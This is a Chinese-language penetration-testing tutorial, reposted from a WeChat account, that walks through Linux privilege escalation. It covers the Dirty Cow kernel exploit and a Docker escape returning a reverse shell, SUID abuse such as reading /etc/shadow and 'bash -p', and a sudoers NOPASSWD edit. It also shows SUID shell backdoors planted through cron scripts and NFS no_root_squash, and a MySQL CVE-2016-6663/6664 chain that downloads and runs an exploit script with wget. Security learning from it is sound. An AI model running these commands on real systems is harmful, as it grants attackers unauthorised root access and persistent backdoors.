Linux提權(quán)的幾種常用方式
本文轉(zhuǎn)載自微信公眾號(hào)「Bypass」,作者Bypass 。轉(zhuǎn)載本文請(qǐng)聯(lián)系Bypass公眾號(hào)。
在滲透測(cè)試過程中,提升權(quán)限是非常關(guān)鍵的一步,攻擊者往往可以通過利用內(nèi)核漏洞/權(quán)限配置不當(dāng)/root權(quán)限運(yùn)行的服務(wù)等方式尋找突破點(diǎn),來(lái)達(dá)到提升權(quán)限的目的。
1、內(nèi)核漏洞提權(quán)
提起內(nèi)核漏洞提權(quán)就不得不提到臟牛漏洞(Dirty Cow),是存在時(shí)間最長(zhǎng)且影響范圍最廣的漏洞之一。低權(quán)限用戶可以利用該漏洞實(shí)現(xiàn)本地提權(quán),同時(shí)可以通過該漏洞實(shí)現(xiàn)Docker容器逃逸,獲得root權(quán)限的shell。
1.1 本地內(nèi)核提權(quán)
(1)檢測(cè)內(nèi)核版本
- # 查看系統(tǒng)發(fā)行版本
- lsb_release -a
- # 查看內(nèi)核版本
- uname -a
(2) 下載,編譯生成exp文件
- bypass@ubuntu:~$ make
(3)執(zhí)行成功,返回一個(gè)root權(quán)限的shell。
1.2 利用DirtyCow漏洞實(shí)現(xiàn)Docker逃逸
(1)進(jìn)入容器,編譯POC并執(zhí)行:
(2)在攻擊者機(jī)器上,成功接收到宿主機(jī)反彈的shell。
1.3 Linux提權(quán)輔助工具
github項(xiàng)目地址:
- https://github.com/mzet-/linux-exploit-suggester.git
(1)根據(jù)操作系統(tǒng)版本號(hào)自動(dòng)查找相應(yīng)提權(quán)腳本
- wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh -O les.sh
(2)根據(jù)提示下載poc,編譯執(zhí)行。
2、利用SUID提權(quán)
SUID是一種特殊權(quán)限,可以讓調(diào)用者在執(zhí)行過程中暫時(shí)獲得該文件擁有者的權(quán)限。如果可以找到并運(yùn)行root用戶所擁有的SUID的文件,那么就可以在運(yùn)行該文件的時(shí)候獲得root用戶權(quán)限。
(1)在Linux中查找可以用來(lái)提權(quán)的SUID文件
- find / -perm -u=s -type f 2>/dev/null
(2)通過find以root權(quán)限執(zhí)行命令
可用作Linux提權(quán)的命令及其姿勢(shì):
- #Find
- find pentestlab -exec whoami \;
- #Vim
- vim.tiny /etc/shadow
- #awk
- awk 'BEGIN{system("whoami")}'
- #curl
- curl file:///etc/shadow
- #Bash
- bash -p
- #Less
- less /etc/passwd
- #Nmap
- nmap --interactive
3、SUDO提權(quán)
普通用戶在使用sudo執(zhí)行命令的過程中,會(huì)以root方式執(zhí)行命令。在很多場(chǎng)景里,管理員為了運(yùn)維管理方便,sudoer配置文件錯(cuò)誤導(dǎo)致提權(quán)。
(1)設(shè)置sudo免密碼
- $vi /etc/sudoers
- 在最后一行添加:bypass ALL=(ALL:ALL) NOPASSWD:ALL
(2)查看sudo的權(quán)限
4、計(jì)劃任務(wù)
如果可以找到可以有權(quán)限修改的計(jì)劃任務(wù)腳本,就可以修改腳本實(shí)現(xiàn)提權(quán)。本質(zhì)上,就是文件權(quán)限配置不當(dāng)。
(1)查看計(jì)劃任務(wù),找到有修改權(quán)限的計(jì)劃任務(wù)腳本。
- ls -l /etc/cron*
- more /etc/crontab
(2)在mysqlback.sh 添加 SUID shell后門,當(dāng)定時(shí)任務(wù)以root再次執(zhí)行的時(shí)候,可以獲取root權(quán)限。
- cp /bin/bash /tmp/shell
- chmod u+s /tmp/shell
5、NFS提權(quán)
當(dāng)服務(wù)器中存在NFS共享,開啟no_root_squash選項(xiàng)時(shí),如果客戶端使用的是root用戶,那么對(duì)于共享目錄來(lái)說,該客戶端就有root權(quán)限,可以使用它來(lái)提升權(quán)限。
(1)查看NFS服務(wù)器上的共享目錄
- sudo showmount -e 10.1.1.233
(2)創(chuàng)建本地掛載目錄,掛載共享目錄。使用攻擊者本地root權(quán)限創(chuàng)建Suid shell。
- sudo mkdir -p /tmp/data
- sudo mount -t nfs 10.1.1.233:/home/bypass /tmp/data
- cp /bin/bash /tmp/data/shell
- chmod u+s /tmp/data/shell
(3)回到要提權(quán)的服務(wù)器上,使用普通用戶使用-p參數(shù)來(lái)獲取root權(quán)限。
6、MySQL提權(quán)
MySQL提權(quán)方式有UDF提權(quán),MOF提權(quán),寫入啟動(dòng)項(xiàng)提權(quán)等方式,但比較有意思的是CVE-2016-6663、CVE-2016-6664組合利用的提取場(chǎng)景,可以將一個(gè)www-data權(quán)限提升到root權(quán)限。
(1)利用CVE-2016-6663將www-data權(quán)限提升為mysql權(quán)限:
- cd /var/www/html/
- gcc mysql-privesc-race.c -o mysql-privesc-race -I/usr/include/mysql -lmysqlclient
- ./mysql-privesc-race test 123456 localhost testdb
(2)利用CVE-2016-6664將Mysql權(quán)限提升為root權(quán)限:
- wget http://legalhackers.com/exploits/CVE-2016-6664/mysql-chowned.sh
- chmod 777 mysql-chowned.sh
- ./mysql-chowned.sh /var/log/mysql/error.log